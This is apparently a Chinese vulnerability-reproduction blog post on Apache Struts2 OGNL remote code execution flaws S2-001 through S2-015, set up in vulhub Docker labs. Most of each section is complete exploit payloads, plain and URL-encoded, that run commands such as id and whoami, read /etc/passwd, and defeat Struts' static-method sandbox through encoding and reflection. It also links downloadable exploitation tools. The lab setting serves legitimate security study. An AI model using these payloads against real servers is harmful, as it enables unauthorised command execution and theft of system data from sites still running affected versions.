文章目录

  • 一、基础知识
    • Struts2简介:
  • 二、漏洞复现
    • 1、S2-001(OGNL 循环解析导致的 RCE 漏洞)
      • 漏洞原理:
      • 影响版本:
      • 环境搭建:
      • poc:
      • 漏洞利用:
    • 2、S2-005(S2-003 的绕过)
      • 漏洞原理:
      • 影响版本:
      • 环境搭建:
      • poc:
      • 漏洞利用:
    • 3、S2-007(验证类型转换错误时,会导致二次表达式解析)
      • 漏洞原理:
      • 影响版本:
      • 环境搭建:
      • poc:
      • 漏洞利用:
    • 4、S2-009 远程代码执行漏洞 (CVE-2011-3923)
      • 漏洞原理:
      • 影响版本:
      • 环境搭建:
      • 漏洞利用:
    • 5、S2-012 远程代码执行漏洞 (CVE-2013-1965)
      • 漏洞原理: 重定向的路径中使用了 %{} 导致了的 RCE 漏洞
      • 影响版本:
      • 环境搭建:
      • 漏洞利用:
    • 6、S2-013/S2-014 远程代码执行漏洞 (CVE-2013-1966)
      • 漏洞原理:链接标签带入参数时导致的 OGNL 解析漏洞
      • 影响版本:
      • 环境搭建:
      • 漏洞利用:
    • 7、S2-015 远程代码执行漏洞 (CVE-2013-2134, CVE-2013-2135)
      • 漏洞原理:
      • 影响版本:
      • 漏洞环境搭建:
      • 漏洞利用:

一、基础知识

Struts2简介:

Apache Struts2 是一个基于 MVC 设计模式的 JavaWeb 应用框架,它的本质就相当于一个 servlet,在 MVC 设计模式中,Struts2 作为控制器(Controller)来建立模型与视图的数据交互。Struts2 是在 Struts 和WebWork 的技术的基础上进行合并的全新的框架。Struts2 以 WebWork 为核心,采用拦截器的机制来处理的请求。这样的设计使得业务逻辑控制器能够与 ServletAPI 完全脱离开。

二、漏洞复现

1、S2-001(OGNL 循环解析导致的 RCE 漏洞)

漏洞原理:

该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

影响版本:

Struts 2.0.0 - 2.0.8

环境搭建:

本次测试使用 vulhub 靶场搭建, 关于环境搭建可以看官网的手册:链接

vuluhub 靶场下载好后,首先进入本次的漏洞环境,并启动

.../vulhub/struts2/s2-001docker-compose up -d //靶场的编译和运行docker ps    //查看docker环境是否启动成功

打开测试页面

poc:

在密码处输入%{'123'},点击提交。

成功解析 OGNL 表达式,即存在漏洞。

漏洞利用:

1、获取 tomcat 路径:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

2、获取网站真实路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}


3、命令执行:

执行 whoami 命令:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}


也可以执行其它命令,只需要将上面的代码中 whoami 替换:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

2、S2-005(S2-003 的绕过)

漏洞原理:

s2-005漏洞源于S2-003(受影响版本:低于Struts 2.0.12),struts2会将 http 的每个参数名解析为 OGNL 语句执行(可理解为java代码)。OGNL表达式通过#来访问 Struts 的对象,Struts框架通过过滤#字符防止安全问题,然而通过 unicode 编码(\u0023)或8进制(\43)就可以绕过安全限制。

对于S2-003漏洞,官方通过增加安全配置即沙盒机制(禁止静态方法allowStaticMethodAcces、MethodAccessor.denyMethodExecution调用和类方法执行等)来修补,但是攻击者可以利用OGNL表达式将 allowStaticMethodAccess设置为true,MethodAccessor.denyMethodExecution设置为false,就可以绕过这个沙盒机制导致S2-005漏洞。

S2-005漏洞是对S2-003漏洞补丁的绕过。

影响版本:

Struts 2.0.0 - Struts 2.1.8.1

环境搭建:

同上。

poc:

执行任意命令 POC(无回显,空格用@代替):

?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

网上有些 POC 在 tomcat8 下会返回 400,查了一些文章知道字符 \" 不能直接放 path 里,需要 urlencode,编码以后再发送就好了。这个 POC会创建一个success文件,无回显。

抓包添加 payload,往/tmp/目录下写入success文件:

进入容器查看发现成功创建success文件。

漏洞利用:

工具下载地链接:https://pan.baidu.com/s/1GnubCDegksD0GYZcbAcfHg,提取码:1111



第二款工具:

链接:https://pan.baidu.com/s/1a87zkitH5nzN9KVJWEhgSg,提取码:1111

3、S2-007(验证类型转换错误时,会导致二次表达式解析)

漏洞原理:

S2-007漏洞一般出现在表单处,当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。

例如下面这个 UserAction-validation.xml 验证表单

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC"-//OpenSymphony Group//XWork Validator 1.0//EN""http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators><field name="age"><field-validator type="int"><param name="min">1</param><param name="max">150</param></field-validator></field>
</validators>

当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。

影响版本:

Struts 2.0.0-2.2.3

环境搭建:

同上。

打开测试页面:

poc:

在年龄age框中输入下面的非数字类型值,点击登陆,name和email随便输。

'+(1+1)+'


年龄框的值变成 11,证明漏洞存在。

为什么payload的两端要加'+ +'呢?

是为了闭合这里 "'" + value + "'" 两端的引号,放入的value值变成了''+(#xxxx)+''的形式才可以成功解析。

漏洞利用:

在年龄age框输入要执行的任意代码的EXP,点击提交,页面会返回响应的执行结果。

执行任意命令EXP:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '


可以把EXP中 exec('id') 里的 id 改为你想要执行的命令,如:exec('cat /etc/passwd')

4、S2-009 远程代码执行漏洞 (CVE-2011-3923)

漏洞原理:

Struts2 对 s2-003 的修复方法是禁止#号,于是 s2-005 通过使用编码\u0023\43来绕过;后来 Struts2 对 s2-005 的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

但是,如果当前 action 中接受了某个参数 example,这个参数将进入 OGNL 的上下文。所以,我们可以将 OGNL 表达式放在 example 参数中,然后使用 /helloword.acton?example=<OGNL statement>&(example)('xxx')=1 的方法来执行它,从而绕过官方对#\ 等特殊字符的防御。

影响版本:

Struts 2.1.0-2.3.1.1

环境搭建:

同上。

测试页面:http://192.168.50.131:8080/shoucase.action

漏洞利用:

我们的目标是去找一个接受了参数,参数类型是 string 的 action。在源码中可以找到这个文件
WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java:

public class Example5Action extends ActionSupport {private static final long serialVersionUID = 2111967621952300611L;private String name;private Integer age;public String getName() { return name; }public void setName(String name) { this.name = name; }public Integer getAge() { return age; }public void setAge(Integer age) { this.age = age; }@Overridepublic String execute() throws Exception {return SUCCESS;}
}

可以看到,其接受了 name 参数并调用 setName 将其赋值给私有属性 this.name,正是符合我们的要求。然后去 WEB-INF/src/java/struts-ajax.xml 看一下 URL 路由:

<package name="ajax" extends="struts-default">...<action name="example5" class="org.apache.struts2.showcase.ajax.Example5Action"><result name="input">/ajax/tabbedpanel/example5.jsp</result><result>/ajax/tabbedpanel/example5Ok.jsp</result></action>...
</package>

name=example5,所以访问 http://ip:8080/ajax/example5.action 即可访问该控制器。按照原理中说到的方法,将 OGNL 利用代码放在 name 参数里,即可利用该漏洞:

age=123&name=(#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+#_memberAccess["allowStaticMethodAccess"]=true,+#a=@java.lang.Runtime@getRuntime().exec("[命令]").getInputStream(),#b=new+java.io.InputStreamReader(#a),#c=new+java.io.BufferedReader(#b),#d=new+char[51020],#c.read(#d),#kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kxlzx.println(#d),#kxlzx.close())(meh)&z[(name)('meh')]

例:执行 /etc/passwd 命令:

5、S2-012 远程代码执行漏洞 (CVE-2013-1965)

漏洞原理: 重定向的路径中使用了 %{} 导致了的 RCE 漏洞

漏洞触发原理与 S2-001 类似,对 %{} 表达式进行了循环解析。

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

<package name="S2-012" extends="struts-default"><action name="user" class="com.demo.action.UserAction"><result name="redirect" type="redirect">/index.jsp?name=${name}</result><result name="input">/index.jsp</result><result name="success">/index.jsp</result></action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

影响版本:

Struts 2.1.0 - 2.3.13

环境搭建:

同上。

打开测试页面:

漏洞利用:

直接在文本框内执行payload读取passwd:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}。

6、S2-013/S2-014 远程代码执行漏洞 (CVE-2013-1966)

漏洞原理:链接标签带入参数时导致的 OGNL 解析漏洞

Struts2 中使用链接标签 <s:a><s:url> 来渲染链接,使用 url 标签可以引入一个静态路径或 action ,使用 a 标签可以直接渲染一个 a 链接。

在这两个标签中,都包含一个属性 includeParams,有三个属性值:

  • none: URL中不包含任何参数(默认)
  • get:仅包含URL中的GET参数
  • all:在URL中包含GET和POST参数

当 includeParams=all 的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。

拿本漏洞环境举例,index.jsp中有:

<s:a id="link1" action="link" includeParams="all">"s:a" tag</s:a>


在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

注:includeParams=get也可以触发该漏洞。

影响版本:

Struts 2.0.0 - 2.3.14

环境搭建:

同上,测试页面:

漏洞利用:

POC:

?x=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

随便传一个参数

补充:

S2-014 是对于 S2-013 修复不完整的造成的漏洞,在 S2-013 修复的代码中,官方限制了%{(#exp)}格式的OGNL执行,但是忽略了 ${exp} OGNL 表达式执行的方式,因此导致了S2-014的产生。

POC:

?x=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D

经过测试发现也没有对 %{(exp)} 这种进行阻拦。

7、S2-015 远程代码执行漏洞 (CVE-2013-2134, CVE-2013-2135)

漏洞原理:

S2-015 官方公告公布了两种漏洞利用方式,一种是通配符匹配 action ,一种是在 struts.xml 中使用 ${} 引用 Action 变量导致的二次解析。

第一种:在使用 struts2 时,每一个action 都需要配置, action 里面的方法以及其返回到的界面都需要配置,如果一个一个配置,就太麻烦了,因此可以约定一些命名规范,然后在 struts.xml 里面使用通配符进行配置。

在 Struts2 中可以使用通配符 * 来匹配 action,并使用 {1} 来获取 * 的值,这有点像正则的匹配模式,如下配置:

<package name="S2-015" extends="struts-default"><action name="*" class="com.demo.action.PageAction"><result>/{1}.jsp</result></action>
</package>

上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。漏洞原理跟S2-012类似,S2-012利用的重定向类型,S2-015利用的 Action 的名称。复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。

需要注意,在 Struts 2.3.14.2 中,官方将 SecurityMemberAccess 类中成员变量 allowStaticMethodAccess 添加了 final 修饰符,并且将其 set 方法进行了删除。这就导致了我们不能通过 #_memberAccess["allowStaticMethodAccess"]=true 来改变其值,因为没有 set 方法了。但是至少有两种思路进行绕过:

  1. 使用反射修改其值:
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),
  1. 使用非静态方法调用 POC:
new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a","Calculator.app"}).start()

因此最终 payload 为:

${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}

URL编码后为:

%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('id').getInputStream())%2C%23q%7D

此处使用 %$ 均可。

第二种:

<result type="httpheader"><param name="errorMessage">${message}</param>
</result>

这里配置了 <param name="errorMessage">${message}</param>,其中 message 为 ParamAction 中的一个私有变量,这样配置会导致触发该 Result 时,Struts2 会从请求参数中获取 message 的值,并在解析过程中,触发了 OGNL 表达式执行。这里需要注意的是这里的二次解析是因为在 struts.xml 中使用 ${param} 引用了 Action 中的变量所导致的,并不针对于 type=“httpheader” 这种返回方式。

直接提交 %{1+1}${1+1} 作为其变量值提交就会得到执行。


注:用 %{1+1} 时需要将 % 进行 url 编码。

影响版本:

Struts 2.0.0 - 2.3.14.2

漏洞环境搭建:

漏洞利用:

两种方式的漏洞利用payload一致。

将上图红框中的内容url解码得到:

Struts2漏洞分析与复现合集相关推荐

  1. MyBatis 源码分析系列文章合集

    1.简介 我从七月份开始阅读MyBatis源码,并在随后的40天内陆续更新了7篇文章.起初,我只是打算通过博客的形式进行分享.但在写作的过程中,发现要分析的代码太多,以至于文章篇幅特别大.在这7篇文章 ...

  2. 大学“电路分析基础”试题合集第四章

    大学"电路分析基础"试题合集第一章 大学"电路分析基础"试题合集第二章 大学"电路分析基础"试题合集第三章 "电路分析基础&quo ...

  3. 大学“电路分析基础”试题合集第六章(文末附PDF文档与Word文档)

    大学"电路分析基础"试题合集第一章 大学"电路分析基础"试题合集第二章 大学"电路分析基础"试题合集第三章 大学"电路分析基础&q ...

  4. MS08-067漏洞分析与复现

    一名网络空间安全专业学生所做的漏洞复现实验,如有错误或有待改进的地方,还请大家多多指教. MS08-067漏洞分析与复现 目录 MS08-067漏洞分析与复现 1 前置知识 2 漏洞简介 3 漏洞代码 ...

  5. 大学“电路分析基础”试题合集第一章

    "电路分析基础"试题合集第一章         答案见文末 一.单项选择题(在每个小题的4个备选答案中,选出一个正确答案,并将正确答案的号码填入提干的括号内.每小题2分,共40分) ...

  6. 大学“电路分析基础”试题合集第三章

    大学"电路分析基础"试题合集第一章 大学"电路分析基础"试题合集 第二章 "电路分析基础"试题合集第三章 一.填空题(每空0.5分) 1.凡 ...

  7. 大学“电路分析基础”试题合集第五章

    往期回顾 大学"电路分析基础"试题合集第一章 大学"电路分析基础"试题合集第二章 大学"电路分析基础"试题合集第三章 大学"电路分 ...

  8. 大学“电路分析基础”试题合集第二章

    大学"电路分析基础"试题合集第一章  "电路分析基础"试题合集第二章 一.填空题(每空1分) 1.电流所经过的路径叫做 电路 ,通常由 电源 . 负载 和 中间 ...

  9. 大学“电路分析基础”试题合集第七章

    "电路分析基础"试题合集第七章 一.填空题(每空1分) 1.当流过一个线圈中的电流发生变化时,在线圈本身所引起的电磁感应现象称 自感 现象,若本线圈电流变化在相邻线圈中引起感应电压 ...

最新文章

  1. IP多播技术介绍(二)
  2. 扩展资源服务器解决oauth2 性能瓶颈
  3. 负载均衡Load Balance学习
  4. React Native ios打包
  5. 计算机设备间使用面积,【IBE】综合布线设计中的常用计算公式
  6. python的深造方向_自动化深造方向有哪些?
  7. 第5章 广义与一般线性模型
  8. python 内置函数_Python简介,第6章–内置函数和方法
  9. PS中的文字叠加纹理
  10. 使用R语言进行perMANVOA分析NMDS结果多个分组之间显著性
  11. 盛迈坤电子商务:自然搜索排名的优化
  12. java计算机毕业设计高校心理测评管理系统源码+mysql数据库+系统+lw文档+部署
  13. word中文字后面的空格加不上下划线
  14. 自媒体账号如何快速涨粉?
  15. 核心微生物分析_中国白酒发酵过程中的核心微生物群及其与环境因子的关系-微生物学报.PDF...
  16. E.164号码,E.214号码,E.212号码
  17. h5 java实现微信分享_WebApp实现微信分享功能
  18. qq飞车显示62目录服务器连接失败,[公告] QQ飞车游戏客户端无法登陆解决方法...
  19. java remoteobject_RemoteObject使用 | 学步园
  20. Excel 2010/2013/2016在鼠标右键新建xls或xlsx文件后,打开报错“无法打开文件”“文件格式或文件扩展名无效”

热门文章

  1. 麦克纳姆轮底盘-正反向运动学-里程估计
  2. 2018年6月东莞车牌迁入广州操作流程讲解 白云区车管所
  3. TCS230颜色识别传感器
  4. 记录一下前端针对下载文件的两种请求方式
  5. 高等数学课程介绍目录
  6. bat ren命令修改文件后缀名
  7. C语言基础——字符串指针(指向字符串的指针)
  8. HDU 4540 威威猫系列故事——打地鼠
  9. heic文件怎么打开?你知道heci格式吗?
  10. 多元线性回归-EViews